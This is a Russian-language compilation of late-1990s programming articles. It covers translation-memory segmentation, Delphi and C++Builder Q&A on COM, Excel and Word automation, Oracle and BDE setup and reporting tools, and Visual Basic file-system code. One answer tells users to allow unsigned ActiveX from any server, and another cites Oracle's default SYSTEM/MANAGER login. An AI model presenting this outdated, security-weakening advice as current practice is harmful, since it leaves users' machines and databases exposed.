    Теперь для любого сегмента, включающего фрагмент " регулируется поворотом ручки по часовой стрелке", может быть выбрана языковая пара номер 3, содержащая только необходимый перевод для фрагмента. Однако, не всегда все так хорошо. Чуть более внимательный взгляд на этот пример сразу же заставит нас признать, что создание таких "укороченных" языковых пар эквивалентно уменьшению размера сегмента, а мы помним, чем это грозит. Маленький фрагмент текста, в особенности, если он не ограничен никакими знаками препинания, едва ли может быть правильно переведен без учета контекста. Следовательно, при выделении общих частей в двух используемых уже языковых парах необходимо руководствоваться теми же принципами, что и при начальной сегментации исходного текста. К тому же, не стоит забывать, что пересечение сегментов на исходном языке не обязательно изоморфно пересечению сегментов на целевом языке. Это связано с различиями правил грамматики в разных языках, порядка слов, соответствия слов понятиям. Поэтому осмысленное значение целевого сегмента языковой пары, образованной пересечением, можно ожидать только при:
  • значительном размере обоих сегментов вновь образованной языковой пары;
  • эвристически определенном изоморфизме пересечения сегментов на исходном и целевом языке (например, если пересечение осуществлено по знакам пунктуации);
  • морфологическом и синтаксическом анализе результата пересечения с привлечением технологии машинного перевода. Еще одной немаловажной задачей при реализации механизма описанных манипуляций с языковыми парами является создание некоторого формализма, позволяющего однозначно определить, какие именно пары должны подвергаться обработке, как именно должен формироваться результат, как должен осуществляться поиск сегмента и каковы критерии сравнения сегментов при поиске. Этим мы теперь и займемся.

    Qa_7.shtml

    Delphi, С++Builder и COM: вопросы и ответы Наталия Елманова
    Компьютер Пресс - CD, 1999, N 7
    Copyright N.Elmanova & ComputerPress Magazine. После публикации осенью 1998 г. цикла статей, посвященных C++Builder и COM-технологии, в адрес редакции поступило много вопросов, связанных с проблемами использования COM в приложениях Delphi и C++Builder. Данная статья посвящена ответам на некоторые наиболее часто встречающиеся из них. Уважаемая Наталия! Я только начал изучать Delphi и не могу решить простые задачи, например, такие как инсталляция новых компонент *.ocx ("Компьютер Пресс CD, 1999, N 3).
    Не могли бы Вы помочь в решении этих вопросов? Установка ActiveX (OCX) в палитру компонентов осуществляется просто: из меню среды разработки нужно выбрать опцию "Component/Import ActiveX Control". Если в полученном списке нужного элемента не окажется, нужно перед этим его зарегистрировать из командной строки: Regsvr32 <имя *.ocx-файла>
    В документации к Delphi и C++Builder установка элементов управления ActiveX описана довольно подробно. Уважаемый автор,
    Не могли бы Вы подробнее осветить вопрос применения созданных компонентов ActiveX в оболочке Microsoft Word. Процесс создания объекта ActiveX не вызывает столько вопросов, сколько вызывает вопросов проблема его распространения. Как среда внедрения заманчиво выглядит Microsoft Word, в связи с его большей распространенностью. Но созданные компоненты ActiveX не доступны во "вставляемых" объектах Word`а. Буду Вам очень признателен, если вы подскажете пути решения этой проблемы. Если имеются в виду объекты, вставляемые с помощью пункта меню Word "Вставка/Объект", то обычно таким образом вставляются OLE-объекты, поддерживаемые так называемыми серверами документов. Элементы ActiveX могут и не являться такими серверами. Тем не менее, их можно вставить непосредственно в документ Word 97, используя опцию "Элементы управления" панели инструментов Visual Basic. На диалоговой панели "Элементы управления" следует нажать кнопку "Дополнительные элементы" и выбрать нужный элемент ActiveX.
    Он должен присутствовать в списке, если он зарегистрирован. Если же нет, его можно зарегистрировать, выбрав опцию "Зарегистрировать элемент управления".
    Помимо этого, практически любой ActiveX можно поместить на форму Visual Basic, вызываемую из документа Word. Однако следует заметить, что, если Вы отдаете документ для использования на другом компьютере, следует отдать и библиотеку, содержащую элемент ActiveX - документ Word содержит лишь ссылку на нее (и организовать ее регистрацию). Иными словами, в данном случае мы имеем дело с типичной задачей поставки приложения (или документа - в данном случае это неважно), содержащего библиотеку ActiveX. Ее можно решить, создав обычный дистрибутив (хотя бы с помощью InstallShield Express). Однако более корректным кажется использование для этой цели Internet Explorer , так как он, в отличие от Word, предусматривает автоматическую регистрацию элементов управления ActiveX в составе Web-страницы. После создания и переноса CAB-файла и Web-страницы на Web-сервер эта страница в браузере открывается, но на месте предполагаемой активной формы появляется только квадратик. Разъясните, в чем может быть проблема Причин такого поведения может быть несколько. Первая причина связана с тем, что далеко не все браузеры поддерживают отображение ActiveX с помощью тега. Для отображения ActiveX следует использовать MS Internet Explorer версии 3.0 и выше (отметим, что в комплект поставки некоторых 32-разрядных версий Windows входит более ранняя версия этого браузера) либо Netscape Communicator, оснащенный соответствующим модулем расширения (plug-in). Дело в том, что Netscape Communicator позиционирует себя на рынке как многоплатформенный браузер, поэтому сам по себе он не отображает элементов управления ActiveX, так как ActiveX есть технология, специфичная для Windows.
    Вторая причина может быть связана с настройкой уровня безопасности браузера. Пользователь, желающий выполнять элемент управления ActiveX под управлением браузера, должен в общем случае дать разрешение на это - ведь ActiveX содержит исполняемый код, и в общем случае нет никакой гарантии, что он безопасен в использовании.


    Поэтому, если элемент управления ActiveX не имеет электронной подписи (а в России сейчас получить ее довольно сложно), при использовании настроек браузера по умолчанию он выполняться не будет. При этом некоторые версии Internet Explorer не только не сгружают ActiveX и тем более не выполняют его, но при этом еще и ничего не сообщают пользователю. Чтобы тем не менее осуществить выполнение неподписанного элемента управления ActiveX, в настройках параметров безопасности браузера нужно явным образом указать, что пользователь разрешает выполнять код в элементах управления ActiveX, полученных либо с конкретного Web-сервера, либо с любого сервера в Internet.
    Есть и третья возможная причина - настройки операционной системы компьютера пользователя могут быть таковы, что пользователю запрещено изменять реестр, и в этом случае ActiveX в нем, естественно, не зарегистрируется.
    И, наконец, еще одна возможная причина может заключаться в том, что приложение может быть разбито на "пакеты" (packages), которые ошибочно не включены в комплект поставки. В этом случае рекомендуется проверить опции проекта и, если необходимо, добавить недостающие файлы. С удовольствием прочитал вашу статью: "Создание контроллеров автоматизации....", но по ходу дела у меня возник ряд вопросов: Как заставить управляемое приложение остаться активным после завершения контроллера. Пример: некая программа генерирует отчет, управляя редактором Word. Требуется, чтобы после того как отчет создан, окно Word не закрывалось. Я добился этого методом вызова функции AddRef применительно к управляемому объекту, но подозреваю, что этот способ не корректен. В принципе можно использовать вызов функции AddRef. Но наиболее принятый способ (если используются вариантные переменные, как в примерах из статьи "Создание контроллеров автоматизации...") - поместить вариантную переменную в глобальную область видимости приложения-контроллера. В этом случае данные, содержащиеся в этой переменной, могут существовать, пока запущено приложение-контроллер, а вместе с ними остается активным и сам COM-сервер (если, конечно, из приложения-контроллера не был вызван метод, приводящий к его закрытию, и если этой вариантной переменной не было присвоено другое значение). Я не понял, как формируется имя сервера, занесенное в реестр (Project1.MyAuto3)? MyAuto3 - мы задаем явно, а откуда берется Project1??? Project1 в данном случае есть имя исполняемого файла COM-сервера.


    MyAuto3 - это имя COM-объекта, реализованного в данном сервере (COM-объектов в одном сервере может быть и несколько). Мой вопрос связан с автоматизацией Excel из приложений Delphi. Например, вполне нормально выполняется код, написанный в Delphi:
    var v:variant; begin v := CreateOleObject('Excel.Application.8'); v.Visible:= True; v.WorkBooks.Add; v.Range('A2') := 12; v.ActiveCell.FormulaR1C1 := '=RAND()'; v.ActiveCell.Font.Bold := True; end;
    Почему при этом не выполняется команда:
    v.Range('A2').Select;
    При этом появляется сообщение об ошибке: Member not found. Точно так же не выполняются и многие другие команды, которые можно найти в макросах Excel.
    Я экспериментировал с Visual FoxPro 5.0, и все команды (макросы) из Excel можно переносить в него практически без изменений, подставляя впереди имя переменной, например v.Range('A2').Select На самом деле в Delphi подобная команда выглядит так: v.Range['A2'].Select;. Иными словами, если Вы пользуетесь справкой по Visual Basic for Applications, нужно менять в содержащихся в ней примерах не только кавычки, но и скобки. Дело в том, что получающийся код должен удовлетворять требованиям синтаксиса языка программирования того средства разработки, на котором пишется контроллер Excel. Хотя синтаксис Pascal и позволяет создавать видимость того, что мы вызываем методы вариантной переменной (не все языки программирования позволяют это делать, например, в C++ так с вариантными переменными обращаться нельзя), из этого не следует, что в него можно включать синтаксические конструкции из Visual Basic без изменений. Что касается FoxPro - синтаксис используемого в этом средстве разработки языка с этой точки зрения (я имею в виду именно употребление скобок и кавычек в описании методов переменных, содержащих ссылки на COM-объекты), видимо, более близок к Visual Basic, чем синтаксис Pascal. Чем с точки зрения синтаксиса может при автоматизации Excel помочь импорт библиотеки типов? Если рассматривать только проблемы синтаксиса, импорт библиотеки типов полезен, скорее, в случае С++, а не Pascal.


    Если мы не импортируем библиотеку типов, то синтаксис С++ будет совсем другим, нежели синтаксис Pascal. Рассмотрим простейший пример: 1) Form1.Show - этот оператор использует настоящий метод класса TForm (аналог на C++ - Form1->Show()); 2) Var V:variant; V:=CreateOleObject('Excel.Application'); ..... V.Visible:=True; - Здесь используется "метод" для установки "свойства" варианта, но в действительности это инициирование вызова удаленных процедур в Excel (и его внутренних методов). В данном случае внутренний метод Excel, предназначенный для показа его окна, может называться как угодно, и "Show" есть лишь внешнее опубликованное имя этого внутреннего метода. Аналог на C++ : Variant V; V=CreateOleObject("Excel.Application"); V.OlePropertySet("Visible",true); //! Итак, мы видим, что на самом деле "Visible" с точки зрения C++ - это просто строка. Иными словами, и Visual Basic, и Delphi, и Visual FoxPro просто совершают некоторые манипуляции со строками, позволяя помещать их в исходный текст без явного указания, что это строки, и тем самым заставляя думать, что мы вызываем методы вариантной переменной. C++ таких вещей делать не позволяет. Зато его код иллюстрирует, что происходит на самом деле при автоматизации Excel в Visual Basic или Delphi. Фактически "Visible" - просто строка, передаваемая в Excel из приложения-контроллера. Импорт же библиотеки типов позволяет создать объекты в адресном пространстве контроллера автоматизации, имеющие те же методы, что и объекты в адресном пространстве Excel. Соответственно можно вызывать настоящие методы этого "своего" объекта, а их реализация на самом деле будет заключаться в вызове удаленных процедур, обращенных к Excel (даже если это локальный Excel), которые инициируют манипуляции уже с внутренними объектами Excel. Соответственно после этого синтаксис на любом языке будет похож (с точностью до скобок, кавычек и указателей) на синтаксис Visual Basic.


    То есть код С++ V.Visible=true становится верным.
    Правда, при использовании импорта библиотеки типов можно уже на этапе компиляции проверить, нет ли синтаксических ошибок в названии самих методов, и при этом само приложение-контроллер будет работать быстрее (за счет несколько иного механизма создания таблицы виртуальных методов). Но, если при этом используется раннее связывание, скорее всего, при этом приложение-контроллер окажется полностью несовместимым со старыми (или будущими) версиями Excel, так как даже при наличии тех же самых методов они окажутся в других местах таблицы виртуальных методов. Есть ли возможность с помощью Delphi или C++Builder создать контроллер автоматизации одновременно для Excel 7 и Excel 97? Если нужно создать приложение-контроллер, совместимое и с текущей, и с прежней версиями Excel, лучше или не импортировать библиотеку типов, или импортировать, но использовать позднее связывание по изложенным выше причинам (в документации к Delphi подробно описано, как это сделать), и не использовать вызовы методов, отсутствующих в старой версии Excel.
    Совместимость со старыми версиями COM-серверов есть требование спецификации COM, и надо полагать, Microsoft следует своей собственной спецификации.
    Однако не стоит полагаться на это, не произведя соответствующего тестирования с теми версиями COM-сервера, с которыми предполагается использовать данный контроллер. Дело в том, что в Office 95 в разных языковых версиях (немецкой, французской, английской) некоторые методы назывались по-разному, и с Delphi 2 поставлялся пример, который это иллюстрировал. Поэтому стоит уточнить (или проверить экспериментально), как именно с точки зрения именования методов Excel как COM-сервера локализована версия, которую планируется использовать.

    Qa_8.shtml

    Delphi, С++Builder и базы данных: вопросы и ответы Наталия Елманова
    Компьютер Пресс - CD, 1999, N 8
    Copyright N.Elmanova & ComputerPress Magazine. После публикации в 1997-98 гг. цикла статей, посвященных C++Builder, в адрес редакции поступило много вопросов, связанных с проблемами использования баз данных в приложениях Delphi и C++Builder. Данная статья посвящена ответам на некоторые наиболее часто встречающиеся из них. В статье "Создание серверов приложений с помощью Delphi 3" вы написали, что подключались к Personal Oracle с помощью BDE. Я очень прошу вас рассказать, как вы это сделали. Для меня пока это остается загадкой. Доступ к Personаl Oracle (как и к любой другой версии этой СУБД) осуществляется следующим образом.
    Сначала нужно запустить сервер (в случае Personal Oracle для Windows 95 это отдельное приложение, в случае Oracle для Windows NT - набор сервисов, обслуживающих конкретную базу данных) и настроить клиентскую часть Oracle. Для этого следует запустить утилиту SQLNet Easy configuration (в случае Oracle 8 - Oracle Net8 Easy Config) и с ее помощью создать описание псевдонима базы данных Oracle (для него, как и в BDE, используется термин alias, но это не то же самое, что псевдоним BDE). При создании этого описания важны три параметра. Первый из них - сетевой протокол, с помощью которого осуществляется доступ к серверу Oracle (IPX/SPX, TCP/IP и др.). Второй параметр - местоположение сервера в сети. В случае Personal Oracle это обычно компьютер с IP-адресом 127.0.0.1 (это специальный адрес для доступа к локальному компьютеру, так называемый TCP loopback address). Третий параметр - имя базы данных. По умолчанию в случае Personal Oracle она называется ORCL. В общем случае имя может быть любым, но это должно быть имя уже существующей базы данных, с которой вы собираетесь работать. В принципе все описания псевдонимов Oracle хранятся в текстовом файле TNSNAMES.ORA, и можно редактировать его вручную.
    Далее следует запустить утилиту SQL Plus и проверить соединение клиента с сервером.
    Обычно в качестве имени пользователя используется имя SYSTEM и пароль MANAGER (если вы сами администрируете сервер). Если же сервер был установлен раньше, есть смысл узнать у администратора базы данных, каким именем и паролем следует воспользоваться. Помимо имени пользователя и пароля, SQL Plus запросит так называемую строку связи, в которой должно содержаться имя сервиса, который был создан вами перед этим. При удачном соединении в SQL Plus появится соответствующее сообщение. Отметим, что утилита Oracle Net8 Easy Config позволяет протестировать соединение непосредственно в процессе создания описания сервиса. Если соединение с сервером было неудачным, стоит проверить, поддерживается ли указанный сетевой протокол и виден ли в сети компьютер, на котором установлен сервер, и, если нужно, внести изменения в описание сервиса.
    Далее можно, наконец, заняться настройкой BDE. В качестве Server Name следует указать имя псевдонима Oracle (его можно просто выбрать из выпадающего списка, так как BDE Administrator также обращается к файлу TNSNAMES.ORA). После этого нужно проверить соединение с сервером через BDE с помощью BDE Administrator или SQL Explorer.
    Если соединение не устанавливается и появляется сообщение "Vendor initialization failed", стоит убедиться, что динамическая загружаемая библиотека, указанная в параметре Vendor Init драйвера Oracle, действительно присутствует на данном компьютере. На всякий случай стоит скопировать ее в Windows\System, так как некоторые ранние версии BDE в Windows 95 не находят эту библиотеку в подкаталоге Bin каталога, в котором установлен клиент Oracle, в силу ограничений, налагаемых этой операционной системой на длину переменной окружения PATH. Отметим также, что при использовании Oracle 8 следует использовать версию не ниже 8.0.4; в случае использования более ранней версии следует обновить ее до 8.0.4. Недавно я перешел на использование Oracle, и все мои попытки использовать компонент TStoredProc кончаются неудачей. Почему? Причины неработоспособности компонента TStoredProc могут быть следующими.


    Во-первых, при использовании ODBC- доступа может оказаться, что применяемый вами ODBC-драйвер не поддерживает хранимые процедуры (как известно, не все ODBC-драйверы их поддерживают).
    И во-вторых, имеется известная проблема, описание которой содержится в разделе Developers support корпоративного сайта Inprise. Дело в том, что число параметров хранимой процедуры, с которой взаимодействует компонент TStoredProc, не должно превышать 10. В случае, если реальное число параметров превышает 10, многие разработчики переписывают хранимые процедуры так, чтобы они использовали строковые параметры, содержащие по несколько реальных параметров. Есть ли возможность в Delphi как-то корректно прервать выполнение SQL запроса к серверу Oracle с помощью BDE? Например, при использованиис SQL Plus после отправки на выполнение SQL-запроса на экране появляется окно с кнопкой Cancel, благодаря чему мы имеем возможность в любой момент прервать выполнение этого запроса. Можно ли что-то подобное сделать в Delphi? Насколько мне известно, для этой цели лучше всего использовать функции Oracle Call Interface (низкоуровневый API Oracle). В комплекте поставки Oracle есть соответствующие примеры для C, и переписать их на Pascal несложно.
    Некоторые драйверы SQL Link позволяют прекратить выполнение запроса, если время его выполнения превышает заранее заданное значение (параметр MAX QUERY TIME соответствующего драйвера). Однако драйвер ORACLE, к сожалению, не входит в их число. Что необходимо предпринять, чтобы сгенерировать из ERwin таблицы для локальной базы данных Paradox 5.0? На компьютере установлены Delphi 4.0 и MetaBase. Для этого требуется установить ODBC-драйвер для этой версии Paradox той же разрядности, что и ERwin. Затем нужно описать соответствующий ODBC-источник, и он будет доступен в ERwin. Не могли бы Вы мне подсказать, как заблокировать функцию вставки записи непосредственно в компоненте TDBGrid с сохранением всех остальных возможностей редактирования таблицы. Наиболее разумным представляется создать обработчик события BeforeInsert компонента TTable, TQuery или TClientDataSet, данные из которых отображаются в TDBGrid.


    Сам компонент TDBGrid не имеет подходящего события для обработки, так как это компонент, предназначенный только для создания пользовательского интерфейса, а в данном случае следует, по существу, запретить добавление записей в таблицу. У меня в комплект Borland C++ Builder не входит Visual Query Builder. Могу ли я связать две таблицы без него? Безусловно, можно связать две таблицы и без VQB. Самый простой способ - запустить Database Form Wizard и связать две таблицы, используя TQuery. Те два запроса, которые при этом получатся (один из них - параметризованный), можно использовать как образец.
    Кроме того, можно просто написать вручную необходимый запрос к любому числу таблиц и поместить его в свойство SQL компонента TQuery. Все инструменты для генерации запросов (Visual Query Builder, SQL Builder и др.) просто предоставляют для этого визуальные средства, а результатом их работы является именно текст запроса, помещаемый в это свойство. Я установил Borland C++ Builder 3.0 Client/Server Suite и InterBase Server 5.1.1. (автоматически с ним установился InterBase 5.x Driver by Visigenic). Но у меня не работают хранимые процедуры. То есть процедура правильно откомпилирована, и вызов ее из C++ Builder осуществляется с помощью выполнения оператора StoredProc1->ExecProc(); При этом возникает следующая ошибка : "Capability not supported. General SQL error. [Visigenic][ODBC InterBase 4.x Driver] Driver not capable". ODBC-драйвер может не поддерживать хранимые процедуры. В этом случае стоит попытаться использовать драйвер SQL Link (он должен быть в C++ Builder 3.0 Client/Server Suite). Для этого нужно создать для вашей базы данных псевдоним типа INTRBASE. В этом случае хранимые процедуры должны работать.
    Если хранимые процедуры тем не менее остаются недоступными, стоит проверить, что и в какой последовательности было установлено на ваш компьютер. Такие неприятности могут быть, если, например, вы установили какой-либо продукт, написанный на Delphi 2, после C++Builder 3.


    В этом случае можно переустановить BDE, взяв его последнюю версию на сайте Inprise- все зарегистрированные пользователи C++ Builder 3.0 Client/Server Suite имеют право это сделать. При удалении записей из таблицы dBase с помощью компонента TTable они просто приобретают признак удаления, и я никак не могу добиться их физического удаления. Как быть? Ваша проблема решается просто - для физического удаления записей нужно использовать функцию DbiPackTable (ее описание есть в справочном файле BDE). При добавлении новых записей с помощью TTable.AppendRecord в индексированную таблицу FoxPro через какое-то время (то есть при добавлении сразу большого количества записей) возникает ошибка: "Access to table disabled because of previous error. Read failure. File" <имя_файла.cdx>.. Возможно, причина заключается в том, что операции чтения-записи в файл, содержащий таблицу FoxPro, особенно при использовании кэширования, предоставляемого операционной системой, конфликтуют с содержимым индексного файла (это часто происходит при многопользовательской работе). Дело в том, что ранние версии dBase, FoxPro, Clipper работали с неподдерживаемыми индексами, то есть индексные файлы не обновлялись одновременно с таблицей, и для их синхронизации требовалось выполнять специальные операции. Но соответствующие средства разработки, применяемые в то время, обычно не поддерживали никаких аналогов транзакций - записи обычно вставлялись по одной.
    В случае применения старых версий формата FoxPro следует избегать кэширования при выполнении дисковых операций с файловым сервером, содержащим базу данных FoxPro. Кроме того, следует проверить и, если необходимо, изменить в настройках BDE параметры MINBUFSIZE, MAXBUFSIZE, LOCAL SHARE - возможно, проблема заключается в недостаточной величине буферов BDE для кэширования данных или в одновременном доступе к данным приложений, использующих и не использующих BDE.
    Еще одним из способов решения этой проблемы (самым радикальным) является замена FoxPro на какую-нибудь из серверных СУБД.


    Например, IB Database неплохо справляется с одновременным вводом большого количества записей благодаря некоторым специфическим особенностям архитектуры этого сервера. Позволяет ли QuickReport выгружать данные в формате Microsoft Excel? Quick Report не позволяет выгружать данные в формате Microsoft Excel. Но последние его версии позволяют сохранять отчеты в формате CSV (Comma Separated Value) и HTML, и оба эти формата можно прочесть с помощью Excel.
    Помимо этого, для генерации отчета можно использовать автоматизацию Excel, вообще не прибегая к использованию QuickReport. Как можно создать свою форму просмотра отчетов QuickReport в С++Builder? Для создания собственных окон просмотра отчета можно использовать компонент TQRPreview. Для этой цели следует создать форму (назовем ее PreviewForm), поместить на нее компонент TQRPreview, сослаться на нее в форме, содержащей отчет, и в форме, из которой вызывается просмотр отчета. Код для показа отчета выгладит примерно так: void __fastcall TForm1::Button1Click(TObject *Sender) { PreviewForm->Show(); QuickReport1->Preview(); } Далее создадим обработчик события OnPreview компонента TQuickRep: void __fastcall TQuickReport1::QuickReport1Preview(TObject *Sender) { PreviewForm->QRPreview1->QRPrinter = QuickReport1->QRPrinter; } После этого данный отчет будет появляться не в стандартном окне просмотра, а в форме PreviewForm. Возможно ли использование компонентов Decision Support System при генерации отчетов в QuickReport и, если можно , то каким образом? Если QuickReport не подходит для этих целей, то какие другие варианты Вы можете посоветовать? Самый простой способ - использовать компоненты TQRLabel, текст в которых динамически меняется во время печати (то есть способ, которым можно напечатать все, что угодно, написав при этом немного кода). В принципе можно двумерное сечение куба записать во временную таблицу или в компонент TClientDataSet, написав соответствующий цикл, и сделать отчет на ее основе. Использование DecisionQuery в качестве источника данных для отчета также вполне возможно.


    Другие возможные варианты - это использование автоматизации Word или Excel, либо вычисление сумм внутри отчета. Можно также использовать другие генераторы отчетов - например, с помощью Crystal Reports можно создавать отчеты, содержащие кросс-таблицы. Как корректно подключить Crystal Reports к Delphi ? В составе Crystal Reports Professional имеется VCL-компонент для Delphi, элемент управления ActiveX, модуль CRPE32.PAS, котором объявлены все функции и структуры Print Engine API, и описание опубликованных методов Crystal Reports как сервера автоматизации. Соответственно есть следующие возможности подключения Crystal Reports к Delphi: 1. Использование функций Report Engine API из библиотеки CRPE32 DLL. В этом случае следует добавить в проект модуль CRPE32.PAS и сослаться на этот модуль в предложении uses. Ниже приведен пример соответствующего кода: procedure TForm1.Button1Click(Sender: TObject); VAR RepNam:PChar; begin if OpenDialog1.Execute then begin If PEOpenEngine then begin RepNam := StrAlloc(80); StrPCopy(RepNam, OpenDialog1.Filename); JN := PEOpenPrintJob(RepNam); if JN = 0 then ShowMessage('Ошибка открытия отчета'); StrDispose(RepNam); end else ShowMessage('Ошибка открытия отчета'); end; end; procedure TForm1.Button2Click(Sender: TObject); begin PEClosePrintJob(JN); PECloseEngine; Close; end; procedure TForm1.Button3Click(Sender: TObject); begin PEOutputToWindow(jn,'Пример использования Crystal Reports Print Engine',30,30,600,400,0,0) ; if PEStartPrintJob(JN, True) = False then ShowMessage('Ошибка вывода отчета'); end; end. Следует помнить, что строковые параметры, передаваемые в функции Print Engine API, представляют собой тип данных PChar, а не стандартные строки, используемые в Pascal, поэтому для передачи таких параметров, как, например, имя отчета, следует осуществить преобразование типов с помощью функции StrPCopy. Для успешной компиляции подобных приложений файл CRPE32.PAS должен находиться в том же каталоге, что и разрабатываемое приложение, либо в каталоге Delphi\Lib. 2.


    Использование VCL-компонента и комплекта поставки ( для этого следует установить его в палитру компонентов Delphi). Естественно, этот компонент инкапсулирует те же самые функции Print Engine API. Существуют также аналогичные компоненты третьих фирм (например, компонент от SupraSoft Ltd., ). 3. Использование элемента управления Crystal Reports ActiveX. Этот элемент управления может быть установлен в палитру компонентов Delphi. Он обладает набором свойств и методов, более или менее сходным с соответствующим VCL-компонентом из комплекта поставки Crystal Reports Professional. 5. Использование Crystal Reports как сервера автоматизации. В справочной системе Crystal Reports имеется подробное описание иерархии вложенных объектов и их методов (и внушительный набор примеров для Visual Basic, аналоги которых несложно создать и на Pascal). Ниже приведен пример соответствующего кода: procedure TForm1.Button1Click(Sender: TObject); var r,rep: Variant; begin rep:=CreateOleObject('Crystal.CRPE.Application'); r:=rep.OpenReport('d:\Report2.rpt'); r.RecordSelectionFormula := '{items.ItemNo} = '+Edit1.Text; r.Preview; r:=Unassigned; rep:=Unassigned; end; 6. Можно также сделать отчет в виде исполняемого файла и вызвать его из приложения. Но в этом случае в отчет не удастся передать параметры.

    QSA Designer

    QSA Designer - это инструмент, который пользователи и разработчики используют для создания, редактирования, выполнения и отладки сценариев. QSA Designer включен в QSA-библиотеку и доступен всем приложениям. Кроме длинного названия QSA Designer включает средство создания GUI-интерфейса, аналогичное имеющемуся в Qt Designer, редактор кода Qt Script и интегрированный отладчик. QSA Designer Интегрированная среда разработки использует те же самые подходы в создании GUI-интерфейса, что и Qt Designer. Пользователи могут приближенно размещать элементы интерфейса и выбором одного из типов компоновок в панели инструментов создавать масштабируемые диалоги. Также среда разработки позволяет легко связывать сигналы со слотами. Если у пользователей не должно быть возможности создавать собственные диалоги, разработчики могут отключить возможности создания GUI в среде QSA Designer. В этом режиме пользователи могут создавать, редактировать, выполнять и отлаживать лишь не-GUI функции. QSA Designer включает полностью интегрированный отладчик, который предлагает точки останова, пошаговое выполнение, отслеживание переменных и окно стека. Если в процессе отладки курсор мыши остановить над переменной, в окне всплывающей подсказки отобразится тип переменной и ее значение. Редактор кода имеет подсветку синтаксиса, авто-завершение, подсказку аргументов и сворачивание.

    Работа с дисководами и папками

    Объектная модель FSO может работать с дисководами и папками точно так же, как вы работаете с ними с помощью Windows Explorer в интерактивном режиме, т.е. вы можете копировать и перемещать файлы, получать информацию относительно дисководов и папок, и т.д. Получение информации о дисководах Объект Drive позволяет вам получать информацию о различных дисководах, присоединенных к системе или физически или через сеть. Его свойства позволяют Вам получить следующую информацию:
  • полный размера дисковода в байтах (свойство TotalSize);
  • количество доступного свободного места на дисководе в байтах (свойства AvailableSpace или FreeSpace);
  • буквенное обозначение дисковода (свойство DriveLetter);
  • тип дисковода: сменный, фиксированный, сетевой, CD-ROM или виртуальный (свойство DriveType);
  • серийный номер дисковода (свойство SerialNumber);
  • тип файловой системы, используемой на носителе: FAT, FAT32, NTFS и т.д. (свойство FileSystem);
  • готов ли дисковод для использования (свойство IsReady);
  • имя ресурсов общего доступа и метку диска (свойства ShareName и VolumeName);
  • путь к устройству или его корневой папке (свойства Path и RootFolder). Пример использования объекта Drive (Дисковод) На пример ниже показывается как использовать объект Drive, чтобы получить полную информацию о дисководе. Не забудьте, что в следующем коде все обращения к фактическому объекту Drive осуществляются с помощью переменной drv, содержащей ссылку на объект, которая получена с помощью метода GetDrive: Private Sub Command3_Click() Dim fso As New FileSystemObject, drv As Drive, s As String Set drv = fso.GetDrive(fso.GetDriveName("c:")) s = "Drive " & UCase("c:") & " - " s = s & drv.VolumeName & vbCrLf s = s & "Total Space: " & FormatNumber(drv.TotalSize/1024, 0) s = s & " Kb" & vbCrLf s = s & "Free Space: " & FormatNumber(drv.FreeSpace/1024, 0) s = s & " Kb" & vbCrLf MsgBox s End Sub

    Работа с файлами

    Вы можете работать с файлами в Visual Basic как используя новые объектно-ориентированные методы типа Copy, Delete, Move и OpenAsTextStream, так и с помощью старых функций - Open, Close, FileCopy, GetAttr и т.д. Обратите внимание, что вы можете перемещать, копировать или удалять файлы независимо от типа файла. Имеются две главных категории манипулирования файлами:
  • создание, добавление или удаления данных или чтение файлов;
  • перемещение, копирование и удаление файлов. Создание файлов и добавления данных с помощью File System Objects Есть три способа создать последовательный текстовый файл (иногда упоминаемый как "текстовый поток", text stream). Один путь состоит в том, чтобы использовать метод CreateTextFile. Например, создаем пустой текстовый файл: Dim fso As New FileSystemObject, fil As File Set fil = fso.CreateTextFile("c:\testfile.txt", True) Обратите внимание, что текущая версия FSO еще не поддерживает создание произвольных (random) или двоичных (binary) файлов. Другой путь состоит в том, чтобы использовать метод OpenTextFile объекта FileSystemObject с установкой флага ForWriting: Dim fso As New FileSystemObject, ts As New TextStream Set ts = fso.OpenTextFile("c:\test.txt", ForWriting) Третий путь - вы можете использовать метод OpenAsTextStream с установкой флага ForWriting: Dim fso As New FileSystemObject, fil As File, ts As TextStream Set fso = CreateObject("Scripting.FileSystemObject") fso.CreateTextFile ("test1.txt") Set fil = fso.GetFile("test1.txt") Set ts = fil.OpenAsTextStream(ForWriting) Добавление данных к файлу Когда текстовый файл создан, вы можете добавлять в него данные. Для этого необходимо:
  • открыть текстовый файл для записи данных;
  • записать данные;
  • закрыть файл. Чтобы открыть файл вы можете использовать любой из двух методов: метод OpenAsTextStream объекта File или метод OpenTextFile объекта FileSystemObject. Чтобы записать данные в открытый текстовый файл, используйте методы Write или WriteLine объекта TextStream. Единственное различие между Write и WriteLine - то, что WriteLine добавляет символы новой строки к концу строки. Если Вы хотите добавлять символы новой строки в текстовый файл без записи других символов, используйте метод WriteBlankLines. Чтобы закрыть открытый файл, используйте метод Close объекта TextStream. Sub Create_File() Dim fso, txtfile Set fso = CreateObject("Scripting.FileSystemObject") Set txtfile = fso.CreateTextFile("c:\testfile.txt", True) 'Запись линии txtfile.Write ("This is a test. ") 'Запись линии с символом newline txtfile.WriteLine("Testing 1, 2, 3.") 'Запись трех символов newline в файл txtfile.WriteBlankLines(3) txtfile.Close End Sub

    Работа с папками

    Этот список показывает общие задачи работы с папками и методы для их выполнения:
    ЗадачаМетод
    Создать папкуFileSystemObject.CreateFolder
    Удалить папкуFolder.Delete или FileSystemObject.DeleteFolder
    Переместить папкуFolder.Move или FileSystemObject.MoveFolder
    Копировать папкуFolder.Copy или FileSystemObject.CopyFolder
    Возвратить имя папкиFolder.Name
    Выяснить, существует ли папка на дисководеFileSystemObject.FolderExists
    Получить образец существующего объекта FolderFileSystemObject.GetFolder
    Выяснить имя папки, родителя папкиFileSystemObject.GetParentFolderName
    Выяснить путь системных папокFileSystemObject.GetSpecialFolder
    Пример ниже показывает использование объектов Folder и FileSystemObject для управления папками и получения информацию о них: Private Sub Command10_Click() 'Получаем образец FileSystemObject Dim fso As New FileSystemObject, fldr As Folder, s As String ' Объект Get Drive Set fldr = fso.GetFolder("c:") ' Печатаем родительское имя папки Debug.Print "Parent folder name is: " & fldr ' Печатаем имя дисковода Debug.Print "Contained on drive " & fldr.Drive ' Печатаем имя корневой папки If fldr.IsRootFolder = True Then Debug.Print "This folder is a root folder." Else Debug.Print "This folder isn't a root folder." End If ' Создаем новую папку объектом FileSystemObject fso.CreateFolder ("c:\Bogus") Debug.Print "Created folder C:\Bogus" ' Печатаем основное имя папки Debug.Print "Basename = " & fso.GetBaseName("c:\bogus") ' Удаляем недавно созданную папку fso.DeleteFolder ("c:\Bogus") Debug.Print "Deleted folder C:\Bogus" End Sub

    Распределенные инстанции

